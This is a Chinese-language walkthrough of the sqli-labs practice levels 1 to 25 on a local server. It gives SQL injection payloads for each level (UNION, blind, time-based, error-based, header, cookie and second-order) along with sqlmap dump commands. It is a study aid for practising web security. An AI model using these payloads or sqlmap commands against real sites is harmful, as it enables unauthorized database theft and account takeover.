第1關
union注入 有報錯 字符型注入
http://localhost/sqli-labs-master/Less-1/?id=1'
輸入?id=1'報錯
輸入?id=1 and 1=1 正常
輸入?id=1 and 1=2 正常 說明非數字型,爲字符型,輸入結果被兩個單引號' '包裹起來
輸入?id=1"正常 再次確認確實是單引號包裹
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+
輸入order by 10 --+ 報錯
輸入order by 4 --+ 報錯
輸入order by 3 --+ 正常 說明有三列
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
輸入-1' union select 1,2,3 --+ 聯合查詢確定輸出點,-1可以將前面查詢結果置空
確定是2,3是輸出點
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,user(),database() --+
替換2,3爲函數,user(),database(),可查詢用戶名和當前庫名
下面正式開始
爆庫:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
爆表:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
爆列:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="f1ag" --+
爆值:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(your_flag) from security.f1ag --+
得到flag
flag{SQLInjection_is_Very_Fun_and_Dangerous!}
或者直接用sqlmap跑
查庫:
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
sqli-labs-master/Less-1/?id=1" --current-db --batch
查表:
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
sqli-labs-master/Less-1/?id=1" -D security --tables --batch
查列:
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
sqli-labs-master/Less-1/?id=1" -D security -T f1ag --columns --batch
查值:
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
sqli-labs-master/Less-1/?id=1" -D security -T f1ag -C your_flag --dump --batch
得到flag:
flag{SQLInjection_is_Very_Fun_and_Dangerous!}
也可以一句命令全爆:
C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/
sqli-labs-master/Less-1/?id=1" --current-db --dump --batch
第2關
union注入 有報錯 數字型
輸入?id=1'報錯
輸入?id=1"報錯
輸入?id=1 and 1=1 正常
輸入?id=1 and 1=2 錯誤 說明是數字型注入,兩邊沒有單雙引號
構建?id=-1 union select 1,2,database() --+ 手工注入
直接sqlmap跑結果
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --current-db --dump --batch
第3關
union注入 有報錯 字符型注入
輸入?id=1'根據報錯信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
中間是被一對單引號和括號包裹起來(' ')
構建?id=-1') union select 1,2,database() --+ 手工注入
或直接sqlmap跑結果
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-3/?id=1" --current-db --dump --batch
第4關
union注入 有報錯 字符型注入
輸入?id=1'正常
輸入?id=1"報錯
根據提示near '"1"") LIMIT 0,1' at line 1
中間被(" ")包裹起來
構建?id=-1") union select 1,2,database() --+手工注入
或直接sqlmap跑結果
第5關
布爾型盲注 字符型
輸入?id=1'報錯 根據提示是由' '包裹起來,正確只顯示you are in…
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(user())>0 -- # //判斷是否爲mysql
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid(user(),1,1))=114 -- # //返回正常說明數據庫權限爲root
判斷爲布爾型盲注
用sqlmap跑結果
第6關
布爾型盲注 字符型
與上一題一樣差別在被“”包裹
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)--+ 延時返回 (時間型盲注用)
這裏利用了sleep函數,基於時間的盲注。我們可以看到使用sleep函數後網站延遲了5秒說明我們插入的語句被執行了。存在注入。
這裏就說說mysql中的sleep函數在注入中的作用,一般在頁面說明一點返回都沒有,所以語句都無返回的時候就會利用到sleep這個函數來確定我們的語句有沒有被執行。一般基於布爾的盲注比基於時間的盲注少見很多。
直接用sqlmap跑
第7關
布爾型盲注 字符型 過濾註釋符
1'報錯,其他不報錯,說明被''包裹,但構建id=1' and 1=1 --+還是報錯,id=1' and 1='1 正常
說明本題把註釋符號過濾了
http://127.0.0.1/sqli-labs-master/Less-7/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and 1='1 返回正常
又回到布爾型盲注,手工需要一個個猜測字符
直接用sqlmap跑
第8關
布爾型盲注 無報錯 字符型
與第7關一樣,只是把報錯關閉了,不過沒有過濾註釋符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 -- #
直接sqlmap跑
第9關
時間型盲注 無報錯 字符型
輸入任何東西都只返回一個頁面,無報錯,構建?id=1' and sleep(5) --+發現有延時,時間型盲注
http://127.0.0.1/sqli-labs-master/Less-9/?id=3' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5) -- #
直接sqlmap跑
第10關
時間型盲注 無報錯 字符型
與第九關一樣,包裹符合由'改爲"
直接sqlmap跑 (需要提升等級水平 --level 3)
第11關
POST注入 有報錯 字符型
輸入用戶名admin和密碼admin登錄成功,再次登錄用bs工具抓包然後ctrl+R發送到重發器
在uname=處輸入admin") order by 3 --+ 報錯,輸入admin") order by 2 --+正常,證明是兩列
構造POST內容:uname=-admin' union select 1,(SELECT+CONCAT(info)+FROM+INFORMATION_SCHEMA.PROCESSLIST) --+&passwd=&submit=Submit
返回查詢語句:
Your Password:SELECT username, password FROM users WHERE username='-admin' union select 1,(SELECT CONCAT(info) FROM INFORMATION_SCHEMA.PROCESSLIST) -- ' and password='' LIMIT 0,1
說明是查詢的username 和password兩列
繼續構造post內容查詢(與第一關一樣),最後一次查詢:
uname=' union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit 發送返回flag
(注意:不要用瀏覽器構造POST發送,瀏覽器會轉碼特殊字符,造成失敗)
或者直接用sqlmap跑
python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --current-db --dump --batch
或者python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=111&passwd=111&submit=Submit --current-db --dump --batch
第12關
POST注入 有報錯 字符型
與第十一關一樣,字符型改由(" ")包裹
在bs重發器uname=處輸入admin") --+登錄成功,證明由(" ")包裹
(但在瀏覽器Username : 框輸入admin") --+,因特殊字符被轉碼登錄失敗,卻發現報錯near '") and password=("") LIMIT 0,1' at line 1)
bs構造POST內容
uname=") union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit
或直接sqlmap跑
第13關
POST注入 布爾型盲注 有報錯 字符型
字符型改由(' ')包裹 ,但本次沒有顯示位置,頁面只顯示登錄成功或失敗
在bs重發器uname=處輸入admin') --+顯示登錄成功,證明由(' ')包裹
(但在瀏覽器Username : 框輸入admin') --+,因特殊字符被轉碼登錄失敗,卻發現報錯near '') and password=('') LIMIT 0,1' at line 1)
bs只能構造uname=admin') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 --+&passwd=&submit=Submit 語句,登錄成功
手工只能一個個驗證字符,很慢
直接sqlmap跑
第14關
POST注入 布爾型盲注 有報錯 字符型
與第十三關一樣,字符型改由" "包裹 ,沒有顯示位置,頁面只顯示登錄成功或失敗
在bs重發器uname=處輸入admin" --+,顯示登錄成功,證明由" "包裹
(但在瀏覽器Username : 框輸入admin" --+,因特殊字符被轉碼登錄失敗,卻發現報錯near '" and password="" LIMIT 0,1' at line 1)
直接sqlmap跑
第15關
POST注入 布爾型盲注 沒有報錯
與第十一關一樣,字符型改由' '包裹 ,不過沒有報錯信息,只有登錄成功和失敗頁面
在bs重發器uname=處輸入admin' --+顯示登錄成功,證明由' '包裹
(但在瀏覽器Username : 框輸入admin' --+,顯示登錄失敗,不會報錯)
直接用sqlmap跑(需要提升等級水平 --level 3)
(如果速度較慢,爲提高速度可以加--threads 10 --technique BET)
第16關
POST注入 布爾型盲注 沒有報錯
與第十五關一樣,字符型改由(" ")包裹 ,沒有報錯信息,只有登錄成功和失敗頁面
在bs重發器uname=處輸入admin") --+顯示登錄成功,證明由(" ")包裹
直接用sqlmap跑
第17關
POST注入 有報錯
看到首頁顯示的是[PASSWORD RESET]密碼重置,輸入用戶名admin密碼admin顯示更新密碼成功
猜測一下這個頁面的sql語句是:update table set password=’newpassword’ where username = ‘name’;
用戶名輸入admin 密碼輸入' or 1=1 and sleep(5) --+有延時返回,可以時間盲注
直接用sqlmap跑,需要用burp抓包,然後獲取整個頁面的信息後保存在1.txt文件中,然後
python sqlmap.py -r 1.txt -p passwd --batch --tech E --dbms mysql --current-db --dump
第18關
POST注入 User-Agent注入
成功登錄後發現提示Your User Agent is: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0想到User-Agent注入
用bs抓包改User-Agent:' and updatexml(1,concat(0x3a,database()),1))#
成功返回XPATH syntax error: ':security'
將bs抓取的信息保存爲1.txt,User-Agent行後加*,直接用sqlmap跑
python sqlmap.py -r 1.txt --dbms mysql --batch --current-db --dump --threads 10
第19關
POST注入 referer注入
成功登錄後發現提示Your Referer is: http://127.0.0.1/sqli-labs-master/Less-19/ 想到是referer注入
用bs抓包改referer:
' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))# //獲取表名
' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))# //獲取指定表字段名
將bs抓取的信息保存爲1.txt,Referer行後加*,直接用sqlmap跑
python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10
第20關
POST注入 cookie注入
打開後顯示YOUR COOKIE : uname = admin and expires: Tue 01 Oct 2019 - 09:16:17 猜測是cookie注入
用bs抓包改cookie
uname=-1' union select 1,user(),database()-- # //獲取當前用戶名和庫名
將bs抓取的信息保存爲1.txt,cookie行後加*,直接用sqlmap跑
python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10
或者
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-20/ --cookie="uname=admin" --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --level 3
第21關
POST注入 cookie注入 有加密 字符型
打開發現還是cookie注入,跟上第二十關一樣,只不過base64加密了
bs抓包改cookie:
Cookie: uname=LTEnKSB1bmlvbiBzZWxlY3QgMSx1c2VyKCksZGF0YWJhc2UoKS0tICM= //獲取當前用戶名和庫名
(就是Cookie: uname=-1') union select 1,user(),database()-- #的base64加密)
將bs抓取的信息保存爲1.txt,cookie行後加*,直接用sqlmap跑,此次需要加--tamper base64encode.py參數
python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py
(或者:python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=YWRtaW4%3D" --tamper base64encode.py --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --level 3
注意該語句不用txt文件,但運行效率不高,所以建議用上面的txt語句:)
第22關
POST注入 cookie注入 有加密 字符型
本關和上一關一樣,不過包含字符由(' ')改爲" "
bs抓包改cookie:
Cookie: uname=LTEiIHVuaW9uIHNlbGVjdCAxLHVzZXIoKSxkYXRhYmFzZSgpLS0gIw== //獲取當前用戶名和庫名
(就是Cookie: uname=-1" union select 1,user(),database()-- #的base64加密)
將bs抓取的信息保存爲1.txt,cookie行後加*,直接用sqlmap跑,還需要加--tamper base64encode.py參數
python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py
第23關
union注入 有報錯 過濾註釋符
本關開始進入高級關
直接使用sqlmap
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-23/?id=1 --current-db --dump --batch
第24關
更改管理密碼
利用帶有管理員賬號的註冊用戶名,在修改密碼的時候達到修改管理員賬號密碼的效果,,
註冊用戶名:admin’ or ‘1’=’1 密碼爲 admin
註冊成功後,登錄進去修改密碼,將密碼改爲 123
更改後即可發現,admin用戶的密碼也被改成了123,
自行腦補一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’
第25關
union注入 有報錯 過濾or和and
該題和第一關一樣,界面提示過濾or和and,雙寫or可繞過oorr
-1' union select 1,2,(SELECT+GROUP_CONCAT(your_flag+SEPARATOORR+0x3c62723e)+FROM+security.f1ag)--+
或者sqlmap跑,在tamper目錄增加腳本繞過
第26關
待續